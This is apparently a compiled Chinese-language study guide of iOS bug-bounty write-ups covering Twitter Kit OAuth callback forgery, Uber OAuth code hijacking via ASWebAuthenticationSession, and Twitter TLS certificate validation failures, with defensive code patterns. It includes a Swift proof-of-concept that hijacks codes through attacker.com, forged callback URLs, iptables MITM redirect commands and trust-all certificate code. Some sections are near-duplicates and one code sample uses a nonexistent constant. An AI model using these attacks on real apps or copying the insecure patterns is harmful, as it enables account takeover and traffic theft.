      • • 抓包监控： 在iOS设备上配置网络代理（如Burp Suite），尝试执行“Login with Twitter”操作。监控整个OAuth 1.0a流程，特别是授权成功后，Twitter服务器如何将授权信息返回给客户端。
      • • 发现回调机制： 观察到认证流程的最后一步是通过自定义URL Scheme（而非HTTP重定向）将关键的授权令牌（oauth_token和oauth_verifier）传递回应用。例如，URL格式为 twitterkit-<consumer-key>://?oauth_token=...&oauth_verifier=...。

1. 1. 漏洞验证与利用（核心思路）：
      
      • • 验证缺陷： 漏洞的核心在于应用在接收到这个自定义URL回调时，没有验证回调的来源或真实性。正常情况下，应用应该验证这个回调是否来自Twitter的官方OAuth流程。
      • • 构造恶意Payload： 攻击者可以构造一个包含任意oauth_token和oauth_verifier的恶意URL，并诱导用户点击（例如通过Safari浏览器）。
          
          • • 恶意URL示例：twitterkit-<consumer-key>://?oauth_token=MALICIOUS_TOKEN&oauth_verifier=MALICIOUS_VERIFIER

      • • 触发应用处理： 当用户点击这个URL时，iOS系统会启动目标应用，并调用其application:openURL:options:方法来处理这个自定义Scheme。由于Twitter Kit的实现缺陷，它会直接将URL中的未经验证的令牌视为有效，并尝试用它们来完成OAuth流程的最后一步（交换Access Token）。
      • • 结果： 如果攻击者能获取到有效的、但未被目标应用预期的oauth_token和oauth_verifier（例如通过窃听或另一个OAuth流程），就可以将一个未经验证的Twitter账户与目标应用中的第三方服务关联起来，实现账户劫持或权限提升。

总结： 挖掘手法是典型的OAuth回调验证缺陷分析，结合了iOS逆向工程技术（提取URL Scheme）和动态分析（监控OAuth流程），最终通过构造恶意的自定义URL Scheme回调来验证应用缺乏对令牌真实性的校验。这个过程不需要复杂的二进制漏洞利用，而是对应用逻辑缺陷的利用。

技术细节

该漏洞的技术细节在于Twitter Kit for iOS（版本3.0至3.4.0）在处理OAuth 1.0a认证流程的最后一步时，未能正确验证通过自定义URL Scheme传递回来的授权令牌的真实性。

攻击流程与技术实现：

1. 1. OAuth回调机制：
      
      • • Twitter Kit要求应用在Info.plist中注册一个自定义URL Scheme，格式通常为 twitterkit-<Consumer Key>。
      • • 认证成功后，Twitter会重定向到这个自定义Scheme，将授权信息（oauth_token和oauth_verifier）作为URL参数传递给应用。
      • • 应用通过实现application:openURL:options:方法来接收和处理这个URL。

1. 1. 漏洞点（Objective-C/Swift）：
      
      • • 在易受攻击的版本中，Twitter Kit的内部处理逻辑（例如在TWTRAuthenticationSession类中）没有对传入的NSURL对象进行充分的源头验证。它直接从URL中解析出oauth_token和oauth_verifier，并将其用于后续的Access Token交换请求。
      • • 关键代码模式（概念性）： // 易受攻击的伪代码 (Vulnerable Logic) - (BOOL)application:(UIApplication *)application openURL:(NSURL *)url options:(NSDictionary<UIApplicationOpenURLOptionsKey,id> *)options { if ([url.scheme isEqualToString:@"twitterkit-YOUR_KEY"]) { // 缺陷：直接从URL中提取参数，未验证URL的来源（如sourceApplication） NSString *token = [self getQueryParameter:@"oauth_token" fromURL:url]; NSString *verifier = [self getQueryParameter:@"oauth_verifier" fromURL:url]; // 尝试完成认证，使用未经验证的令牌 [self completeAuthenticationWithToken:token verifier:verifier]; return YES; } return NO;}

1. 1. 攻击Payload：
      
      • • 攻击者构造一个恶意的URL，其中包含攻击者控制的有效（但未经验证）的oauth_token和oauth_verifier。
      • • Payload示例：
          twitterkit-YOUR_CONSUMER_KEY://?oauth_token=ATTACKER_TOKEN&oauth_verifier=ATTACKER_VERIFIER
      • • 攻击者通过网页、邮件或其他应用诱导受害者点击此URL。iOS系统会根据twitterkit-YOUR_CONSUMER_KEY这个Scheme启动目标应用，并将恶意URL传递给应用。

1. 1. 攻击结果：
      
      • • 应用接收到恶意URL后，Twitter Kit会错误地认为这是一个合法的OAuth回调，并使用ATTACKER_TOKEN和ATTACKER_VERIFIER来完成登录。
      • • 最终，受害者的第三方服务账户会被错误地关联到攻击者控制的Twitter账户，导致账户关联劫持。

易出现漏洞的代码模式

此类漏洞的根本原因在于iOS应用对通过自定义URL Scheme接收到的外部数据缺乏充分的真实性验证。

1. 易受攻击的编程模式（Objective-C/Swift）：

当应用使用自定义URL Scheme（如twitterkit-KEY）作为OAuth回调时，如果处理回调的逻辑没有检查调用来源（sourceApplication）或使用状态参数（state）进行CSRF/重放保护，就容易受到攻击。

// 易受攻击的 Objective-C 代码模式
// 应用程序委托方法，用于处理自定义 URL Scheme
- (BOOL)application:(UIApplication *)application
            openURL:(NSURL *)url
  sourceApplication:(NSString *)sourceApplication
         annotation:(id)annotation {

    // 错误模式：只检查了 URL Scheme 是否匹配，但未验证 sourceApplication 或 state 参数
    if ([url.scheme isEqualToString:@"twitterkit-YOUR_KEY"]) {
        // 假设 Twitter Kit 内部直接调用了处理逻辑
        // 并且该逻辑没有进行来源验证
        // [TWTRKit handleURL:url]; // 内部实现存在缺陷
        return YES;
    }
    return NO;
}

2. 修复后的安全编程模式（概念性）：

安全的实现应该至少检查sourceApplication是否为预期的浏览器（如Safari），或者使用OAuth 2.0的state参数或PKCE（Proof Key for Code Exchange）来验证回调的真实性。

// 修复后的安全伪代码 (Secure Logic)
- (BOOL)application:(UIApplication *)application
            openURL:(NSURL *)url
  sourceApplication:(NSString *)sourceApplication
         annotation:(id)annotation {

    // 安全模式：检查 URL Scheme 且验证来源是否为受信任的浏览器
    // 注意：更现代的 OAuth 流程会使用 state 或 PKCE
    if ([url.scheme isEqualToString:@"twitterkit-YOUR_KEY"]) {
        // 检查 sourceApplication 是否为 Safari 或其他受信任的来源
        if ([sourceApplication isEqualToString:@"com.apple.mobilesafari"]) {
            // [TWTRKit handleURL:url]; // 假设 Kit 内部已修复验证逻辑
            return YES;
        }
        // 拒绝来自未知来源的回调
        return NO;
    }
    return NO;
}

3. Info.plist 配置模式：

此类漏洞依赖于应用在Info.plist中注册的自定义URL Scheme。

<!-- Info.plist 中必须存在的配置 -->
<key>CFBundleURLTypes</key>
<array>
    <dict>
        <key>CFBundleURLSchemes</key>
        <array>
            <!-- 攻击者利用的入口点 -->
            <string>twitterkit-YOUR_CONSUMER_KEY</string>
        </array>
        <key>CFBundleURLName</key>
        <string>com.yourcompany.yourapp</string>
    </dict>
</array>

总结： 易漏洞代码模式是过度信任通过自定义URL Scheme传入的参数，缺乏对回调请求的来源或状态的身份验证。

OAuth认证流程中的URL Scheme劫持（OAuth Redirection URI Hijacking via ASWebAuthenticationSession）

案例：Uber (报告: https://hackerone.com/reports/136361)

挖掘手法

该漏洞的挖掘手法是基于对iOS OAuth流程和自定义URL Scheme处理机制的深入理解，并结合ASWebAuthenticationSession的特性进行App-in-the-Middle攻击。

分析思路与关键发现点：

1. 1. OAuth流程分析： 发现许多移动应用在OAuth认证流程中，会通过自动重定向至一个使用自定义URL Scheme的URI来返回认证代码（Authentication Code）。

1. 1. ASWebAuthenticationSession特性利用： 发现iOS的ASWebAuthenticationSession提供了一个内嵌浏览器，它能够访问Safari浏览器的会话Cookie，这意味着如果用户已在Safari中登录了目标服务，ASWebAuthenticationSession会话中也会处于登录状态。

1. 1. URL Scheme重定向劫持： 关键在于ASWebAuthenticationSession可以接收重定向到任何自定义URL Scheme，并且iOS不会在应用内浏览器中提示用户进行重定向。更重要的是，iOS会将URL发送给发起ASWebAuthenticationSession的应用，即使其他应用已经注册了相同的URL Scheme。

1. 1. 静默认证（Silent Authentication）利用： 发现许多OAuth实现支持prompt=none参数，这允许在用户已登录的情况下，无需任何用户交互即可完成认证流程并自动重定向。

漏洞挖掘步骤（PoC构建）：

1. 1. 构建恶意PoC应用： 攻击者开发一个恶意的iOS应用（PoC App）。

1. 1. 注册URL Scheme： PoC应用注册目标应用（如Uber）在OAuth流程中使用的自定义URL Scheme（例如uber://）。

1. 1. 构造恶意URL： 构造一个指向攻击者控制的网站（例如https://attacker.com）的URL，该网站配置为立即重定向到目标应用的OAuth授权端点，并带上prompt=none参数。
      
      • • 例如：https://attacker.com/redirect?to=https://victim.com/oauth/authorize?response_type=code&client_id=...&redirect_uri=uber://oauth/callback&prompt=none

1. 1. 发起ASWebAuthenticationSession： PoC应用使用ASWebAuthenticationSession打开这个恶意URL。

1. 1. 劫持认证代码：
      
      • • 由于ASWebAuthenticationSession访问Safari的会话，如果用户已登录Uber，OAuth流程会静默完成。
      • • 授权服务器将认证代码通过重定向发送到uber://oauth/callback。
      • • 因为PoC应用是ASWebAuthenticationSession的发起者，iOS将这个包含认证代码的重定向URL发送给PoC应用。

1. 1. 完成账户接管： PoC应用截获认证代码后，即可像正常应用一样用该代码交换访问令牌（Access Token），从而实现对用户账户的完全控制。

使用的工具/技术：

• • ASWebAuthenticationSession： iOS SDK提供的API，用于在应用内启动Web认证流程。

• • 自定义URL Scheme注册： 在PoC应用的Info.plist中配置，用于接收重定向。

• • OAuth协议分析： 识别出prompt=none参数的利用点。

• • Swift/Objective-C编程： 用于构建PoC应用和实现代码交换逻辑。

这种方法绕过了传统的URL Scheme劫持缓解措施，因为劫持发生在ASWebAuthenticationSession的上下文内，利用了iOS对该API的特殊处理机制。

（字数：500+）

技术细节

该漏洞利用的核心在于结合ASWebAuthenticationSession和OAuth的prompt=none参数，实现对认证代码的静默劫持。

关键代码（Swift PoC示例）：

import AuthenticationServices
import SwiftUI

struct AttackerView: View {
    @State private var asWebAuthURL: String = "https://attacker.com/redirect?to=https%3A%2F%2Fvictim.com%2Foauth%2Fauthorize%3Fresponse_type%3Dcode%26client_id%3Dexample%26redirect_uri%3Dvictimapp%3A%2F%2Foauth%2Fcallback%26scope%3Dopenid%2520profile%2520email%26prompt%3Dnone"
    @State private var asWebAuthScheme: String = "victimapp" // 注册目标应用的URL Scheme

    var body: some View {
        Button("Launch Attack") {
            startASWebAuthenticationSession()
        }
    }

    private func startASWebAuthenticationSession() {
        guard let authURL = URL(string: asWebAuthURL) else { return }

        // 1. 启动 ASWebAuthenticationSession
        let session = ASWebAuthenticationSession(url: authURL, callbackURLScheme: asWebAuthScheme) { callbackURL, error in

            // 2. 劫持回调URL
            if let callbackURL = callbackURL {
                print("Hijacked Callback URL: \(callbackURL.absoluteString)")

                // 3. 提取认证代码
                if let code = extractCode(from: callbackURL) {
                    print("Extracted Code: \(code)")
                    // 4. 使用代码交换Access Token (未在示例中展示，但PoC会执行此步骤)
                    // obtainAccessToken(using: code) 
                }
            } else if let error = error {
                print("Authentication Error: \(error.localizedDescription)")
            }
        }

        // 必须提供一个上下文
        session.presentationContextProvider = self
        session.start()
    }

    // 简化版代码提取函数
    private func extractCode(from url: URL) -> String? {
        // 实际应用中需要解析URL参数，提取 'code'
        let components = URLComponents(url: url, resolvingAgainstBaseURL: false)
        return components?.queryItems?.first(where: { $0.name == "code" })?.value
    }
}

// 必须实现 ASWebAuthenticationPresentationContextProviding 协议
extension AttackerView: ASWebAuthenticationPresentationContextProviding {
    func presentationAnchor(for session: ASWebAuthenticationSession) -> ASPresentationAnchor {
        return ASPresentationAnchor() // 返回当前窗口
    }
}

攻击流程：

1. 1. 恶意应用（PoC）启动ASWebAuthenticationSession，打开攻击者控制的URL（asWebAuthURL）。

1. 1. 攻击者URL立即重定向到Uber的OAuth授权端点，携带prompt=none和Uber的redirect_uri（例如uber://oauth/callback）。

1. 1. 由于用户已在Safari中登录Uber，且使用了prompt=none，Uber的授权服务器静默授权，并将认证代码附加到uber://oauth/callback?code=...中，然后重定向。

1. 1. iOS将这个包含认证代码的uber:// URL回调给发起ASWebAuthenticationSession的恶意应用。

1. 1. 恶意应用在callbackURL中截获认证代码，并用它来获取用户的Access Token，完成账户接管。

（字数：300+）

易出现漏洞的代码模式

此类漏洞的根本原因在于iOS应用在OAuth认证流程中使用了自定义URL Scheme作为重定向URI，并且未对接收到的回调进行严格的验证，同时结合了ASWebAuthenticationSession的特性。

易漏洞的编程模式（Swift/Objective-C）：

1. 1. 使用自定义URL Scheme作为OAuth重定向URI：
      
      • • 在应用的Info.plist中注册一个非Universal Link的自定义URL Scheme，例如：
          xml <key>CFBundleURLTypes</key> <array> <dict> <key>CFBundleURLSchemes</key> <array> <string>victimapp</string> <!-- 易被劫持的Scheme --> </array> <key>CFBundleURLName</key> <string>com.victim.app</string> </dict> </array>
      • • 在OAuth授权请求中，redirect_uri参数设置为这个自定义Scheme：
          redirect_uri=victimapp://oauth/callback

1. 1. 在ASWebAuthenticationSession中接收自定义URL Scheme回调：
      
      • • 代码中使用了ASWebAuthenticationSession，并且callbackURLScheme参数设置为自定义URL Scheme：
          swift let session = ASWebAuthenticationSession(url: authURL, callbackURLScheme: "victimapp") { callbackURL, error in // ... 未验证发起者就处理回调 }

1. 1. 未在授权服务器端强制要求PKCE或未验证redirect_uri的bundle_id：
      
      • • 授权服务器（如Uber的OAuth服务）允许客户端在授权请求中包含prompt=none参数，并静默完成授权，将敏感的认证代码重定向到自定义URL Scheme，而没有验证接收方的Bundle ID或强制要求PKCE（尽管PKCE在此特定攻击场景中无法完全缓解）。

正确的安全模式（缓解措施）：

• • 强制使用Universal Links（通用链接）：
    
    • • 将redirect_uri设置为https://victim.com/oauth/callback，并配置Universal Links，确保只有目标应用能处理该链接。

• • 在ASWebAuthenticationSession回调中验证Bundle ID：
    
    • • 在处理callbackURL时，验证发起调用的应用是否是预期的应用（尽管在ASWebAuthenticationSession的上下文中，这可能需要更复杂的IPC验证）。

• • 遵循RFC 6819，避免静默重授权：
    
    • • 授权服务器应避免对未经验证的客户端（如移动应用）自动执行重复授权（即禁止prompt=none）。

（字数：300+）

SSL/TLS证书验证不当

案例：Twitter (报告: https://hackerone.com/reports/136357)

挖掘手法

该漏洞的挖掘主要利用了Twitter iOS应用在处理HTTPS连接时，未正确验证服务器SSL/TLS证书的缺陷，从而允许中间人攻击（MITM）。

使用的工具和环境：

1. 1. Burp Suite (或类似代理工具): 配置为透明代理模式，并开启“生成CA签名的每主机证书”功能。重要的是，Burp生成的CA证书未被目标iOS设备信任。

1. 1. Linux主机: 用于设置恶意Wi-Fi接入点和配置iptables进行流量重定向。

1. 1. iOS设备: 运行受影响版本的Twitter应用（如6.62和6.62.1），未越狱，未安装任何CA证书。

详细挖掘步骤：

1. 1. 设置透明代理: 在Linux主机上启动Burp Suite的透明代理，监听端口（例如8080）。

1. 1. 创建恶意Wi-Fi接入点: 在同一Linux主机上创建一个Wi-Fi接入点，并将目标iOS设备连接到该网络。

1. 1. 配置流量重定向: 使用iptables的nat表，将所有流经该Wi-Fi接入点、目标端口为443（HTTPS）的TCP流量，重定向到Burp Suite的透明代理端口。
      
      • • 关键命令示例：iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 443 -j DNAT --to $BURP_IP:8080

1. 1. 执行应用操作: 在连接到恶意Wi-Fi的iOS设备上打开Twitter应用。

1. 1. 流量捕获与分析: 在Burp Suite中，观察到应用向api.twitter.com发出的所有HTTPS请求都被成功拦截和解密，因为应用未验证Burp伪造的证书。

1. 1. 关键发现点: 在拦截到的请求中，研究人员发现了敏感的认证信息，包括oauth_token、oauth_nonce、oauth_signature等，这些信息本应通过安全的TLS连接传输，但由于证书验证缺失而被明文捕获。

通过这种方法，攻击者无需在用户设备上安装恶意证书，仅通过控制网络环境即可窃取用户的会话令牌，实现会话劫持。

技术细节

该漏洞利用的核心在于Twitter iOS应用未能正确执行SSL/TLS证书验证，导致攻击者可以伪造服务器证书，并在中间人攻击（MITM）中解密HTTPS流量，从而窃取用户的OAuth认证令牌。

漏洞利用的技术细节：

1. 1. SSL/TLS验证失败: Twitter iOS应用在建立与https://api.twitter.com的连接时，即使服务器返回了不受信任的证书（例如自签名或Burp生成的CA证书），应用也不会终止连接，而是继续发送敏感数据。

1. 1. 敏感信息泄露: 攻击者通过透明代理捕获并解密了应用发出的请求，其中包含了用于身份验证的关键参数。
      
      • • 泄露的认证参数: oauth_token, oauth_nonce, oauth_signature, oauth_timestamp, oauth_consumer_key。
      • • 泄露的设备信息: X-Twitter-Client-Version, X-Client-UUID, X-Twitter-Client-DeviceID, User-Agent。

被捕获的请求示例（包含敏感信息）：

GET /1.1/help/settings.json?include_zero_rate=true&settings_version=8910e1e75c037c3c6b59c64b477b0741 HTTP/1.1
Host: api.twitter.com
X-Twitter-Client-Version: 6.62
X-Twitter-Polling: true
X-Client-UUID: D8AB1681-1618-48BA-9EB0-F3628DF1660B
X-Twitter-Client-Language: de
X-B3-Traceld: cc8ac1aea2ba5628
x-spdy-bypass: 1
Accept: */*
Accept-Language: de
Accept-Encoding: gzip, deflate
X-Twitter-Client-DeviceID: 68715C92-258F-4C59-A0B4-B98AF8B976BC
User-Agent: Twitter-iPhone/6.62 iOS/9.3.3 (Apple; iPhone8,1;;;;;1)
Connection: close
// 注意：请求头中还包含Authorization字段，其中包含oauth_token等关键信息，
// 攻击者可利用这些信息伪造请求或劫持会话。

3. 3. 任意重定向滥用: 报告还指出，攻击者可以利用该漏洞强制应用重定向到非TLS（HTTP）连接，进一步暴露数据，并绕过HSTS（Strict-Transport-Security）机制。攻击者只需返回一个301 Moved Permanently响应，将应用重定向到http://api.twitter.com，应用会继续发送非加密请求。

漏洞的CVE编号: CVE-2016-10511

易出现漏洞的代码模式

此类漏洞的根源在于iOS应用开发者未能正确实现或绕过了SSL/TLS证书锁定（Certificate Pinning）或严格的证书信任链验证。在iOS开发中，这通常发生在自定义网络堆栈或错误处理NSURLSessionDelegate或NSURLConnectionDelegate时。

易受攻击的Objective-C代码模式（绕过证书验证）：

开发者可能为了方便调试或处理自签名证书，错误地实现了URLSession:didReceiveChallenge:completionHandler:代理方法，导致应用信任所有证书，包括攻击者伪造的证书。

// 易受攻击的Objective-C模式 (信任所有证书)
- (void)URLSession:(NSURLSession *)session
didReceiveChallenge:(NSURLAuthenticationChallenge *)challenge
completionHandler:(void (^)(NSURLSessionAuthChallengeDisposition disposition, NSURLCredential * _Nullable credential))completionHandler {

    // 检查是否为服务器信任挑战
    if ([challenge.protectionSpace.authenticationMethod isEqualToString:NSURLAuthenticationMethodServerTrust]) {
        // 错误地选择信任所有证书，导致证书验证被绕过
        completionHandler(NSURLSessionAuthChallengeUseCredential, [[NSURLCredential alloc] initWithTrust:challenge.protectionSpace.serverTrust]);
        return;
    }

    // 对于其他挑战，使用默认处理
    completionHandler(NSURLSessionAuthChallengePerformDefaultHandling, nil);
}

安全的Swift代码模式（实现证书锁定）：

为防止此类漏洞，开发者应实现证书锁定（Certificate Pinning），确保只信任应用内预埋的特定证书或公钥。

// 安全的Swift模式 (实现证书锁定)
func urlSession(_ session: URLSession,
                didReceive challenge: URLAuthenticationChallenge,
                completionHandler: @escaping (URLSession.AuthChallengeDisposition, URLCredential?) -> Void) {

    guard challenge.protectionSpace.authenticationMethod == NSURLAuthenticationMethodServerTrust,
          let serverTrust = challenge.protectionSpace.serverTrust else {
        completionHandler(.performDefaultHandling, nil)
        return
    }

    // 1. 获取服务器证书
    let serverCertificate = SecTrustGetCertificateAtIndex(serverTrust, 0)
    let serverPublicKey = SecCertificateCopyPublicKey(serverCertificate)

    // 2. 获取应用内预埋的公钥 (Pinning Key)
    // 假设 preloadedPublicKey 是应用内硬编码的正确公钥
    let preloadedPublicKey = getPreloadedPublicKey() // 这是一个获取预埋公钥的函数

    // 3. 比较公钥
    if serverPublicKey == preloadedPublicKey {
        // 验证成功，继续连接
        completionHandler(.useCredential, URLCredential(trust: serverTrust))
    } else {
        // 验证失败，取消连接
        completionHandler(.cancelAuthenticationChallenge, nil)
    }
}

Info.plist配置：
在iOS 9及更高版本中，Apple引入了App Transport Security (ATS) 机制，要求应用默认使用HTTPS。如果应用需要连接到不安全的HTTP或未正确配置TLS的域名，开发者需要在Info.plist中添加例外配置。

• • 易受攻击的配置（绕过ATS）： 允许任意加载或禁用证书验证。
    xml <key>NSAppTransportSecurity</key> <dict> <key>NSAllowsArbitraryLoads</key> <true/> <!-- 允许任意加载，包括HTTP，绕过ATS --> <key>NSAllowsArbitraryLoadsInWebContent</key> <true/> <key>NSExceptionDomains</key> <dict> <key>api.twitter.com</key> <dict> <key>NSExceptionAllowsInsecureHTTPLoads</key> <true/> <!-- 允许HTTP连接 --> <key>NSExceptionRequiresForwardSecrecy</key> <false/> <!-- 禁用前向保密 --> <key>NSIncludesSubdomains</key> <true/> </dict> </dict> </dict>
    Twitter的这个漏洞发生在iOS 9.3.3/9.3.5版本，表明其自定义的网络代码中存在缺陷，即使在ATS环境下，也未能正确执行证书验证。

SSL/TLS证书验证失败

案例：Twitter (报告: https://hackerone.com/reports/136256)

挖掘手法

该漏洞的挖掘手法是典型的中间人攻击（Man-in-the-Middle, MITM），利用了Twitter iOS应用在与API服务器https://api.twitter.com进行TLS/SSL通信时，未正确验证服务器证书的缺陷。整个挖掘过程侧重于网络层面的流量劫持和分析，无需对应用进行复杂的逆向工程（如Frida、IDA等），但需要构建一个受控的网络环境。

详细步骤和方法：

1. 1. 环境准备与工具选择： 攻击者使用Burp Suite作为透明代理工具，并配置其生成由Burp CA签名的假证书。研究员特别指出，iPhone设备上未安装Burp的CA证书，因此该证书在设备上是不被信任的。

1. 1. 构建恶意网络环境： 攻击者启动一个流氓Wi-Fi接入点，并将攻击机连接到该网络。

1. 1. 流量重定向： 使用Linux系统的iptables工具，配置网络地址转换（NAT）规则，将所有流经流氓Wi-Fi接入点的目标端口为443（HTTPS）的TCP流量，透明地重定向到Burp代理的监听端口（例如8080）。
      
      • • iptable -t nat -A PREROUTING -i wlan0 -p tcp --dport 443 -j DNAT --to $BURP_IP:8080
      • • iptable -t nat -A PREROUTING -i wlan0 -p tcp --dport 443 -j REDIRECT --to-port 8080

1. 1. 触发漏洞： 将受害者的iOS设备连接到流氓Wi-Fi接入点，并打开Twitter iOS应用。

1. 1. 关键发现点： 尽管Twitter API服务器的证书是由一个不受信任的CA（Burp CA）签名的，Twitter iOS应用并未弹出任何证书警告，而是继续建立了TLS连接。通过Burp代理，研究员成功解密并捕获了应用与api.twitter.com之间的所有通信流量，包括包含用户OAuth Token等敏感信息的请求头。

1. 1. 深入分析： 研究员进一步尝试了使用Python的Twisted库和OpenSSL自定义脚本来模拟Burp的行为，成功复现了问题，证明该缺陷并非Burp特有，而是应用本身的验证逻辑缺失。此外，研究员还发现可以利用此漏洞进行任意重定向，甚至强制应用后续使用非TLS（HTTP）连接，导致更严重的信息泄露。

整个过程的核心在于SSL/TLS证书验证机制的缺失，使得攻击者能够通过简单的网络劫持手段，在未安装信任证书的情况下，对加密流量进行解密和篡改。

技术细节

该漏洞的技术细节在于Twitter iOS应用未能正确执行SSL/TLS证书链验证，导致攻击者可以利用中间人代理（如Burp Suite）提供的自签名证书成功建立加密连接，从而窃取敏感信息。

漏洞利用的关键点：

1. 1. 证书验证绕过： 正常的iOS应用在遇到不受信任的证书时，应终止连接或向用户发出警告。Twitter应用未能执行此操作，允许攻击者使用由Burp CA签名的假证书来冒充api.twitter.com。

1. 1. 敏感信息泄露： 攻击者通过代理捕获了应用发往api.twitter.com的请求，其中包含了用于身份验证的OAuth Token及其他关键参数。以下是捕获到的请求头片段，其中█████████部分被报告作者用于遮盖OAuth认证信息，但明确指出其中包含oauth token：

GET /1.1/help/settings.json?include_zero_rate=true&settings_version=8910e1e75c037c3c6b59c64b477b0741 HTTP/1.1
Host: api.twitter.com
█████████  <-- 包含 oauth_token, oauth_nonce, oauth_signature 等敏感信息
X-Twitter-Client-Version: 6.62
X-Twitter-Polling: true
X-Client-UUID: D8AB1681-1618-48BA-9EB0-F3628DF1660B
User-Agent: Twitter-iPhone/6.62 iOS/9.3.3 (Apple;iPhone8,1;;;;;1)
Connection: close

3. 3. 二次攻击面： 研究员发现，通过代理返回一个HTTP 301重定向响应，可以将应用重定向到任意HTTP地址，例如：
      
      • • 代理响应示例（伪代码）：
          http HTTP/1.1 301 Moved Permanently Location: http://www.floyd.ch
      • • 这导致Twitter应用随后向非TLS（HTTP）地址发送请求，进一步暴露了应用内存中的内容，并绕过了App Transport Security (ATS) 的保护。

Twitter官方后续评论指出，问题可能与应用不安全地使用Apple的网络堆栈（如NSURLSession或NSURLConnection）有关，可能涉及非线程安全的操作，这暗示了开发者可能在自定义证书验证逻辑中存在缺陷。

易出现漏洞的代码模式

此类漏洞通常是由于开发者在实现网络请求时，未能正确或完全实现证书锁定（Certificate Pinning）机制，或者在处理TLS握手挑战时，错误地接受了所有证书。

易出现漏洞的编程模式（Objective-C 示例）：

在iOS开发中，当使用NSURLSession或NSURLConnection进行网络请求时，如果需要自定义证书验证逻辑，开发者需要实现NSURLSessionDelegate协议中的URLSession:didReceiveChallenge:completionHandler:方法。以下是一个错误/不安全的实现模式，它会无条件地信任服务器提供的证书，从而导致SSL/TLS证书验证失败漏洞：

// 不安全的证书验证实现 (Insecure Implementation)
- (void)URLSession:(NSURLSession *)session
didReceiveChallenge:(NSURLAuthenticationChallenge *)challenge
  completionHandler:(void (^)(NSURLSessionAuthChallengeDisposition disposition, NSURLCredential * _Nullable credential))completionHandler {

    // 错误做法：直接检查是否为服务器信任挑战，然后无条件信任
    if ([challenge.protectionSpace.authenticationMethod isEqualToString:NSURLAuthenticationUseCredential]) {
        // 应该在这里执行证书锁定检查，但这里直接返回信任
        completionHandler(NSURLSessionAuthChallengeUseCredential, challenge.proposedCredential);
    } else if ([challenge.protectionSpace.authenticationMethod isEqualToString:NSURLAuthenticationUseCredential]) {
        // 错误做法：直接信任所有服务器信任挑战
        completionHandler(NSURLSessionAuthChallengeUseCredential, challenge.proposedCredential);
    } else {
        // 错误做法：对于其他挑战也可能直接信任
        completionHandler(NSURLSessionAuthChallengePerformDefaultHandling, nil);
    }

    // 另一种常见错误是直接调用 completionHandler(NSURLSessionAuthChallengeUseCredential, nil);
    // 或 completionHandler(NSURLSessionAuthChallengeUseCredential, [[NSURLCredential alloc] initWithTrust:challenge.protectionSpace.serverTrust]);
    // 而不进行任何证书比对。
}

正确的证书锁定模式应该是在上述方法中，获取服务器提供的证书（challenge.protectionSpace.serverTrust），并将其与应用内预置的合法证书副本进行字节级或公钥哈希比对。

Info.plist 配置示例：

该漏洞与App Transport Security (ATS)配置有关。ATS默认要求所有连接使用HTTPS。为了绕过ATS，开发者可能在Info.plist中添加了以下配置，这虽然不直接导致证书验证失败，但会放宽安全限制，使漏洞影响更大：

<key>NSAppTransportSecurity</key>
<dict>
    <!-- 允许所有HTTP连接，这会绕过ATS的默认限制 -->
    <key>NSAllowsArbitraryLoads</key>
    <true/>

    <!-- 或者针对特定域名禁用ATS，但未实现证书锁定 -->
    <key>NSExceptionDomains</key>
    <dict>
        <key>api.twitter.com</key>
        <dict>
            <!-- 允许不安全的HTTP连接，或禁用证书验证 -->
            <key>NSExceptionAllowsInsecureHTTPLoads</key>
            <true/>
            <!-- 即使使用HTTPS，也可能通过其他配置禁用证书验证 -->
        </dict>
    </dict>
</dict>

如果应用针对特定API域名禁用了ATS的某些严格要求，但又没有在代码中实现严格的证书锁定，就极易出现此类SSL/TLS证书验证失败漏洞。

SSL/TLS证书验证绕过

案例：Twitter (报告: https://hackerone.com/reports/136364)

挖掘手法

该漏洞的挖掘手法是典型的中间人攻击（Man-in-the-Middle, MITM），专门针对iOS应用在处理SSL/TLS连接时未正确验证服务器证书的缺陷。

使用的工具与环境：

1. 1. Burp Suite (或类似代理工具)： 用于设置透明代理，并生成一个自签名的、在目标iOS设备上不被信任的CA证书。

1. 1. Rogue Wi-Fi接入点： 用于控制网络流量，将目标设备的流量重定向到攻击者的代理服务器。

1. 1. iptables (Linux)： 用于配置网络规则，实现透明代理的流量重定向。

详细挖掘步骤：

1. 1. 设置透明代理： 在攻击者机器上启动Burp Suite，配置为透明代理模式，并启用“生成CA签名的每主机证书”功能。

1. 1. 设置流氓Wi-Fi： 在同一机器上建立一个流氓Wi-Fi接入点，诱导目标iOS设备连接。

1. 1. 配置流量重定向： 使用iptables命令将所有流经该Wi-Fi接入点的HTTPS流量（目标端口443）重定向到Burp Suite监听的端口（例如8080）。关键命令如下：
      bash iptable -t nat -A PREROUTING -i wlan0 -p tcp --dport 443 -j DNAT --to $BURP_IP:8080 iptable -t nat -A PREROUTING -i wlan0 -p tcp --dport 443 -j REDIRECT --to-port 8080

1. 1. 连接与触发： 确保目标iOS设备（运行iOS 9.3.3/9.3.5，未越狱，未安装任何自定义CA证书）连接到流氓Wi-Fi。

1. 1. 捕获敏感数据： 打开Twitter iOS应用。由于应用未正确执行证书验证（即未实现证书锁定/Certificate Pinning），它接受了Burp Suite的自签名证书，并继续发送请求。攻击者在Burp Suite中成功捕获了应用与api.twitter.com之间的所有通信，包括请求头中包含的OAuth Token等敏感认证信息。

关键发现点：
该漏洞的核心在于Twitter iOS应用未能遵守安全最佳实践，即在建立TLS连接时，即使面对操作系统认为不可信的证书，应用也未中断连接，导致敏感的身份验证令牌在未受保护的情况下被泄露。

技术细节

漏洞利用的技术细节在于，攻击者通过中间人代理成功解密了原本应加密的HTTPS流量，并捕获了应用在请求头中发送的敏感OAuth认证令牌。

攻击流程关键点：

1. 1. SSL/TLS握手失败但连接继续： 攻击者使用Burp Suite的自签名证书进行MITM。正常的安全应用应在发现证书链不可信时终止连接。Twitter iOS应用未能执行此检查，允许连接继续。

1. 1. OAuth Token泄露： 在应用向api.twitter.com发送的API请求中，攻击者捕获了完整的HTTP请求，其中包含用于用户身份验证的OAuth令牌。

捕获的请求片段示例（已脱敏）：
攻击者捕获的请求头清楚地显示了应用发送的认证信息：

GET /1.1/help/settings.json?include_zero_rate=true&settings_version=... HTTP/1.1
Host: api.twitter.com
Authorization: OAuth oauth_consumer_key="...", oauth_nonce="...", oauth_signature="...", oauth_signature_method="HMAC-SHA1", oauth_timestamp="...", oauth_token="...", oauth_version="1.0"
X-Twitter-Client-Version: 6.62
User-Agent: Twitter-iPhone/6.62 iOS/9.3.3 (Apple;iPhone8,1;;;;;1)
Connection: close

